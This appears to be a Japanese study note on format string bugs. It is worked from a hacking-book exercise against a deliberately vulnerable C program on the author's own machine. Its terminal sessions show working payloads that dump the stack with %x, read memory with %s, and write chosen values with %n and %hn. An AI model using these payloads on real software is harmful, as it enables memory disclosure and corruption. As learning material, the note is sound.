フォーマット文字列攻撃に際しFSB(Format String Bug)を理解する

策謀本の195ページにある「0x350 フォーマット文字列」を題材に、フォーマット文字列攻撃(のためのFSB)について勉強する。

サンプルプログラム

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char text[1024];
    strcpy(text, argv[1]);
    printf(text);
}

"vuln"というファイル名でコンパイルしておく。

FSBと攻撃

たとえば普通に文字列を与えると

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln test
test

次に、フォーマット指定子の%xを与えてみると..

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln %x  
cb54c246 

上記の場合、printf("%x");が実行されてる。

通常、printf("%x", arg)のようにフォーマット指定子を評価して適切な引数argにアクセスしようとする(そして、この場合はその引数を16進数表示する)。

しかし、printf("%x");のように引数argが無いので、結果的に直前のスタックにアクセスして、そこにある値を16進数表示してしまっている

なので、次のよう繰り返しフォーマット指定子を与えてやれば、スタックのメモリダンプを得ることができる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
2b662236_12_16_7d3f3ef0_7d613aa0_2b661418_7d60e4d0_255f7825_5f78255f_78255f78_255f7825_5f78255f_78255f78_7d007825_7d642a50_0_0 

出力をよくみると、"5f78255f"や"78255f78"が繰り返し出現しているが、実はこれらは"_%x"という文字列のこと:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ printf "\x78\x5f\x25\x78"
x_%x   
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ printf "\x5f\x25\x78\x5f"
_%x_ 

つまり、%xというフォーマット文字列が格納されたメモリ領域がダンプされたということ。

フォーマット指定子一覧:

(画像元:https://www.k-cube.co.jp/wakaba/server/format.html

%sで任意のメモリアドレスから読み込みを行う

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln AAAA%x_%x_%x_%x
AAAA12bec258_f_41414141_737f3ef0

3つ目の%xに対して、先頭のAAAAの16進数表示41414141が出力されている。

そこで、3つ目の%x%sにすると、0x41414141というアドレスから値を読み出そうとする(今回はアドレス0x41414141に適切な値が存在していないのでsegmentation faultになるが)。

たとえば環境変数PATHのアドレスが0xbffffdd7だとする。この時

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\xd7\xfd\xff\xbf")%x_%x_%x_%x
�fu�c6ebc250_17_bffffdd7_4f1f3ef0

3つ目の%x%sにすると、アドレス0xbffffdd7から値を読み出そうとするので

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\xd7\xfd\xff\xbf")%x_%x_%s_%x
�fu�c6ebc250_17_/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/_4f1f3ef0

とPATHが表示される。

%nで任意のメモリアドレスに書き込みを行う

vuln.cを次のように少し編集する:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    strcpy(text, argv[1]);
    printf(text);

   printf("\n");

    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
}
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ gcc vuln.c -m32 -o vuln 

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ sudo sysctl -w kernel.randomize_va_space=0

※ アドレスがその都度変わらないようにsudo sysctl -w kernel.randomize_va_space=0を実行しておく

実行すると

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln AAAA%x_%x_%x_%x   
AAAAffffd239_0_565561d7_41414141
[*] test_val @ 0x5655901c = -72 0xffffffb8

FSBを利用してtest_valの値を書き換える。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%x      
�UVffffd239_0_565561d7_5655901c
[*] test_val @ 0x5655901c = -72 0xffffffb8

4つ目の%x%nにしてやれば、%nの直前までに出力されたバイト数がアドレス0x5655901cに格納される。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%n
�UVffffd239_0_565561d7_
[*] test_val @ 0x5655901c = 24 0x00000018

フィールド幅を指定して簡単にバイト数を制御できる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%100x_%n
�UVffffd236_0_                                                                                            565561d7_
[*] test_val @ 0x5655901c = 116 0x00000074

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%20x_%n 
�UVffffd237_0_            565561d7_
[*] test_val @ 0x5655901c = 36 0x00000024

%nについて:

scrapbox.io

大きな数値に書き換える

test_valの値を0xddccbbaaに書き換える。

そこで、0x5655901cから連続したアドレス

  • 0x5655901cに0xaa
  • 0x5655901dに0xbb
  • 0x5655901eに0xcc
  • 0x5655901fに0xdd

というように書き込むことを考える。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xaa'
$1 = 170

ここで、calcは次のエイリアスのこと:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ alias calc
calc='gdb -batch -ex'
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%x
�UVffffd239_0_565561d7_5655901c
[*] test_val @ 0x5655901c = -72 0x00000018

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%n
�UVffffd239_0_565561d7_
[*] test_val @ 0x5655901c = 24 0x00000018

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 170 - 24'
$1 = 146

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%146x_%n
�UVffffd236_0_                                                                                                                                          565561d7_
[*] test_val @ 0x5655901c = 162 0x000000a2

8少ないので足してやれば

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%154x_%n
�UVffffd236_0_                                                                                                                                                  565561d7_
[*] test_val @ 0x5655901c = 170 0x000000aa

0x5655901dに0xbbを書き込む。

次のようにJUNKを挟んで%nの出力バイトカウンタを正しくカウントアップさせる

$(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")%x.%x.%x.%x.%x.%x
�UVJUNK�-Vffffd22b.0.565561d7.5655901c.4b4e554a.562d901d

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\55\x56")%x%x%149x%n%x%x
�UVJUNK�-Vffffd22d0                                                                                                                                             565561d74b4e554a562d901d
[*] test_val @ 0x5655901c = 170 0x000000aa

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xbb - 0xaa'
$1 = 17


┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")%x%x%149x%n%17x%n
�UVJUNK�UVffffd22b0                                                                                                                                             565561d7         4b4e554a
[*] test_val @ 0x5655901c = 48042 0x0000bbaa

先に4つ分\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56を書く(それにより133に変わる)。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%x%n                     
�UVJUNK�UVJUNK�UVJUNK�UVffffd2240565561d7
[*] test_val @ 0x5655901c = 45 0x0000002d

# 170 - 45 = 125 (+8 = 133)
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%133x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd2210                                                                                                                             565561d7
[*] test_val @ 0x5655901c = 170 0x000000aa

0xaa, 0xbb, 0xcc, 0xddはそれぞれ16進数で差が17なので

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%133x%n%17x%n%17x%n%17x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd20f0                                                                                                                             565561d7         4b4e554a         4b4e554a         4b4e554a
[*] test_val @ 0x5655901c = -573785174 0xddccbbaa

差がマイナスになるもの

上の例では、0xaa, 0xbb, 0xcc, 0xddの各差が17だったが、0x0806abcdに書き換えたいという場合はどうするか?

0xab - 0xcdは-34になってしまう。そこで0x1ab - 0xcdの結果222を使う。つまり繰り上げを利用する。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd2240565561d7
[*] test_val @ 0x5655901c = 45 0x0000002d

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xcd'        
$1 = 205

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xcd - 45'                                                             
$1 = 160

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%160x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd2210                                                                                                                                                        565561d7
[*] test_val @ 0x5655901c = 197 0x000000c5

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%168x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd2210                                                                                                                                                                565561d7
[*] test_val @ 0x5655901c = 205 0x000000cd

それぞれ差を計算すると

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x1ab - 0xcd'
$1 = 222

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x106 - 0xab' 
$1 = 91

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x108 - 0x06' 
$1 = 258

よって

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%168x%n%222x%n%91x%n%258x%n
�UVJUNK�UVJUNK�UVJUNK�UVffffd20d0   
...
[*] test_val @ 0x5655901c = 134654925 0x0806abcd

$記号でもっと簡単にFSBの攻撃をする

(ダイレクトパラメータアクセス)

「N番目の引数を10進数表示する」という場合に、フォーマット指定子を%N$dと指定する。

printf("seventh: %7$d, fourth: %4$05d", 10, 20, 30, 40, 50, 60, 70, 80);

と書いた時の出力は

seventh: 70, fourth: 00040

となる。

FSBの攻撃では次のように利用できる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln AAAA%x_%x_%x_%x
AAAAffffd239_0_565561d7_41414141
[*] test_val @ 0x5655901c = -72 0xffffffb8

4番目の%xに対して先頭のAAAAが参照されてるら

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln AAAA%4\$x
AAAA41414141
[*] test_val @ 0x5655901c = -72 0xffffffb8

のように、%4$xだけかけばよい(ターミナル上では$マークをエスケープすることに注意)。

$を使って書き換えをする

先のように、出力バイト数を調整するため"JUNK"という文字列も不要になる。

注)perlの使用について、以下の二つは同じ:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56\x1d\x90\x55\x56\x1e\x90\x55\x56\x1f\x90\x55\x56")%4\$n      
�UV�UV�UV�UV
[*] test_val @ 0x5655901c = 16 0x00000010

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%4\$n
�UV�UV�UV�UV
[*] test_val @ 0x5655901c = 16 0x0000001

test_valの値を、0xbffffd72に書き換える。まず

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%4\$n 
[*] test_val @ 0x5655901c = 16 0x00000010

以下のように計算していく:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x72 - 16'  
$1 = 98

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n
[*] test_val @ 0x5655901c = 114 0x00000072

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xfd - 0x72'
$1 = 139

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n
[*] test_val @ 0x5655901c = 64882 0x0000fd72

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xff - 0xfd'
$1 = 2

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x1ff - 0xfd'  
$1 = 258

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n%258x%6\$n
[*] test_val @ 0x5655901c = 33553778 0x01fffd72

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xbf -0xff'  
$1 = -64

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x1bf -0xff'
$1 = 192

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n
[*] test_val @ 0x5655901c = -1073742478 0xbffffd72

ショートライトhの利用

unsigned long x = 0xdeadbeefcafebabe;
printf("1バイト:%hhx, 2バイト:%hx, unsigned int:%x, 8バイト:%lx", x, x, x, x);

// 実行結果
// 1バイト:be, 2バイト:babe, unsigned int:cafebabe, 8バイト:deadbeefcafebabe 

長さ修飾子のhを利用する。

test_val(4バイト)を2バイトずつすなわち二つのhnで0xbffffd72に書き換える。

先に答えを示すと

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn%49805x%5\$hn
...
[*] test_val @ 0x5655901c = -1073742478 0xbffffd72

hnの使用により変わったのは \x1c\x90\x55\x56\x1e\x90\x55\x56のように1バイト隣じゃなくて2バイト隣をかくという部分。

"fd72"を書き込んで、次に"bfff"を書き込む。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xfd72' 
$1 = 64882

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64882x%4\$hn
...
[*] test_val @ 0x5655901c = -646 0xfffffd7a

\x1c\x90\x55\x56\x1e\x90\x55\x56の8バイト分がカウントされている(その部分を削除してやるとtest_valの値に変化が起きる)。

-8して64874にすれば

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn
...
[*] test_val @ 0x5655901c = -654 0xfffffd72
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xbfff - 0xfd72'
$1 = -15731

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0x1bfff - 0xfd72'
$1 = 49805

これより

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn%49805x%5\$hn
...
[*] test_val @ 0x5655901c = -1073742478 0xbffffd72

実は、ショートライトを使うときは、書き込む順序はどちらが先でもよい!

なので次のようにもできる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./vuln $(printf "\x1e\x90\x55\x56\x1c\x90\x55\x56")%49143x%4\$hn%15731x%5\$hn
...
[*] test_val @ 0x5655901c = -1073742478 0xbffffd72

計算については以下のように考える:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xbfff'          
$1 = 49151

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xbfff - 8'
$1 = 49143

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ calc 'p/d 0xfd72 - 0xbfff'                   
$1 = 15731